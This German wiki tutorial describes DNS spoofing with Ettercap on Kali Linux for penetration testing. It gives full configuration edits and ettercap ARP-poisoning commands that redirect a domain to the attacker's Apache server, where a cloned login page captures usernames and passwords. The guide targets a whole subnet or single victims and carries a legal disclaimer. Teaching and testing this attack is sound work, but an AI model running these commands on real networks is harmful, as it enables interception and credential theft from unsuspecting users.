DNS-Spoofing mit Ettercap

Aus Twilight-Networks Wiki
Wechseln zu:Navigation, Suche

Vorwort

Diese Dokumentation beschreibt DNS-Spoofing mit Ettercap.

Bitte vergewissern Sie sich, dass Ihr System über die nötigen Voraussetzungen verfügt, wie in der Infobox beschrieben. Weiterhin sind Grundkenntnisse im Umgang mit Linux erforderlich, da die Vorgehensweise, wie sie hier beschrieben ist, in manchen Teilen abweichen kann. Kein System ist wie das Andere. Die Dokumentation wurde sorgfältig von mir geprüft. Dennoch kann ich keinerlei Haftung für Schäden an Ihrem System oder eine Gewährleistung übernehmen. Bitte verwenden Sie diese Dokumentation auf eigene Gefahr.

Diese Dokumentation beschreibt Methoden, mit denen gezielt die Verwundbarkeit eines Netzwerks oder IT-Systems gegenüber Hacking- und Manipulationsversuchen analysiert werden kann.
Ohne die ausdrückliche Zustimmung der zu testenden Organisation und/oder der betroffenen Personen sind diese Methoden illegal und können eine Straftat darstellen.




DNS-Spoofing mit Ettercap
Stand: 08/2019



Verwendete Software:


Voraussetzungen:

  • physikalischer Zugriff auf das "Opfer-Subnetz"


Weitere, empfohlene Dokumentationen:












Schritt für Schritt

Die folgende Beschreibung bezieht sich auf Kali Linux. In dieser Distribution sind die benötigten Programme bereits vorinstalliert.

Wichtig ist, dass eine funktionierende Netzwerkverbindung besteht. Falls eine virtuelle Maschine (VM) eingesetzt wird, sollte diese im Bridge Mode laufen. Als weitere Einschränkung gilt, dass man sich im selben Netzwerk (Subnetz) wie das Ziel befinden muss.



DNS-Spoofing mit Ettercap

Beim DNS-Cache-Poisoning oder -Spoofing werden Systemschwachstellen in DNS-Servern ausgenutzt, um Datenverkehr von legitimen DNS-Servern auf Gefälschte umzuleiten. Dies bedeutet im Grunde, dass ein Angreifer alle DNS-Anforderungen und damit den gesamten Datenverkehr auf seinen Computer umleiten (Man-In-The-Middle-Angriff) und auf böswillige Weise manipulieren und möglicherweise übermittelte Daten stehlen kann.

Ein guter Pentest sollte den DNS-Spoofing-Angriff beinhalten, da es einer der gefährlichsten Angriffe ist (das gilt insbesondere in öffentlichen Netzen wie an Flughäfen, in Hotels, Bars etc.). Zudem ist er sehr schwer zu erkennen.
Allerdings führt DNS-Spoofing mittlerweile nur selten zum gewünschten Erfolg, da die meisten Webserver HSTS einsetzen und auch gängige Browser (Chrome, Firefox, etc.) keine Verbindungen auf SSL-geschützte Webseiten zulassen, wenn MITM-, Proxy-Angriffe oder HTTP-Datenstörungen jeglicher Art erkannt werden.

In unserem Beispiel wird versucht, die Domain example.com inklusive aller Sub-Domains (*.example.com) auf einen lokal installierten Apache-Webserver umgeleitet. Im Verzeichnis /var/www/html würde der Angreifer z.B. eine Kopie der Anmeldeseite von example.com (oder Facebook, etc.) anlegen. Meldet sich der Angegriffene auf dieser "Seite" an, ist es ein Leichtes die Eingabe des Benutzernamens und des Passworts abzufangen.



etter.conf bearbeiten

Erstellen Sie zunächst eine Sicherheitskopie der Original-Datei:

# cp /etc/ettercap/etter.conf /etc/ettercap/etter.conf.ori


Öffnen Sie die Datei /etc/etter.conf und bearbeiten Sie folgende Parameter:

# nano /etc/ettercap/etter.conf
Anzupassende Parameter:
# etter.conf
[...]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[...]
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
[...]



etter.dns bearbeiten

Benennen Sie zunächst die /etc/ettercap/etter.dns um, damit Sie eine Sicherheitskopie der Original-Datei haben:

# mv /etc/ettercap/etter.dns /etc/ettercap/etter.dns.ori


Erstellen Sie eine neue Datei /etc/ettercap/etter.dns nach folgendem Syntax:

# nano /etc/ettercap/etter.dns
etter.dns
example.com A <IP-Adresse des Angreifers>
*.example.com A <IP-Adresse des Angreifers>



Apache starten

Starten Sie den Apache-Webserver:

# service apache2 start



Angriff starten

Über die Kommandozeile

Der Angriff kann ganz einfach über die Kommandozeile gestartet werden. Zwar ist die grafische Oberfläche komfortabler, dennoch ist die Kommandozeile oft zu bevorzugen. Dies ist z.B. dann der Fall, wenn der Angriff aus der Ferne stattfinden soll und der Zugriff auf Ettercap über SSH erfolgt.


In unserem Beispiel wird das Netzwerk-Interface eth0 verwendet. Natürlich kann auch ein anderes Interface, z.B ein WLAN-Interface verwendet werden.

Es werden folgende Parameter verwendet:

-T    Text-Only-Interface, Ausgabe direkt auf der Kommandozeile
-q    Quiet-Mode
-M    Man-in-the-Middle-Methode, ARP-Spoofing:Remote
      (Die Option remote ist erforderlich, um den von den Hosts über das Standard Gateway übertragenen Datenverkehr zu überwachen)
-i    Interface, eth0
-P    Plugin, DNS-Spoofing
// // Gesamtes Subnetz, alle MACs/IPs/Ports



Öffnen Sie ein Terminal-Fenster und rufen Sie ettercap auf:

  • Angriff auf das gesamte Subnetz:
# ettercap -T -q -M arp:remote -i eth0 -P dns_spoof // //
  • Angriff auf eine bestimmte IP-Adresse:
ettercap -T -q -M ARP -i eth0 -P dns_spoof /<IP-Adresse des Opfers>/ /<IP-Adresse des Standard-Gateways>/



Wichtig!

Wenn die Unterstützung von IPv6 aktiviert ist, müssen drei statt zwei Schrägstriche angegeben werden:

# ettercap -T -q -M arp:remote -i eth0 -P dns_spoof /// ///
ettercap -T -q -M ARP -i eth0 -P dns_spoof /<IP-Adresse des Opfers>// /<IP-Adresse des Standard-Gateways>//



Mit graphischer Oberfläche

Starten Sie ettercap im Grafikmodus:

# ettercap -G


Im ersten Schritt wird der Sniffing Typ und das Netzwerk-Interface ausgewählt.
Wählen Sie Sniff --> Unified Sniffing --> eth0 aus (oder Strg + U):



Nach Auswahlt des Netzwerk-Interfaces wird der Sniffing-Vorgang automatisch gestartet. Da wir aber noch weitere Einstellungen vornehmen müssen, wird der Sniffing-Vorgang vorerst beendet.
Wählen Sie Start --> Stop sniffing (oder Umschalt + Strg + W) aus, um den Sniffing-Vorgang zu beenden:



Im nächsten Schritt werden alle Hosts des Subnetzes gescannt und anschliessend angezeigt.
Wählen Sie dazu Hosts --> Scan for hosts (oder Strg + S) aus und wählen Sie anschliessend Hosts --> Hosts list (oder Strg + H) aus:



Nun müssen zwei Ziele (Targets) ermittelt werden.
1. Das "Opfer"
2. Das Standard-Gateway

Wählen Sie zunächst den "Opfer-Host" aus der Hostliste und klicken Sie anschliessend auf Add to Target 1.
In gleicher Weise wird mit dem Standard-Gateway verfahren:
Auswahl in der Hostliste mit anschließendem Klick auf Add to Target 2.
(Ist das Netzwerk unbekannt, kann das Standard-Gateway mit dem Befehl route -n ermittelt werden.)



Nun wird der ARP-Spoofing-Vorgang gestartet. Wählen Sie dazu Mitm --> ARP poisoning und aktivieren Sie anschliessend den Paramater Sniff remote connections:



Für den DNS-Spoofing-Angriff muss jetzt noch das passende Plugin geladen werden.
Wählen Sie Plugins --> Manage the plugins (oder Strg + P) aus und aktivieren Sie mit Doppelklick das Plugin dns_spoof:



Nun sind alle Vorbereitungen getroffen und der Sniffing-Vorgang kann mit Start --> Start sniffing (oder Umschalt + Strg + W) gestartet werden: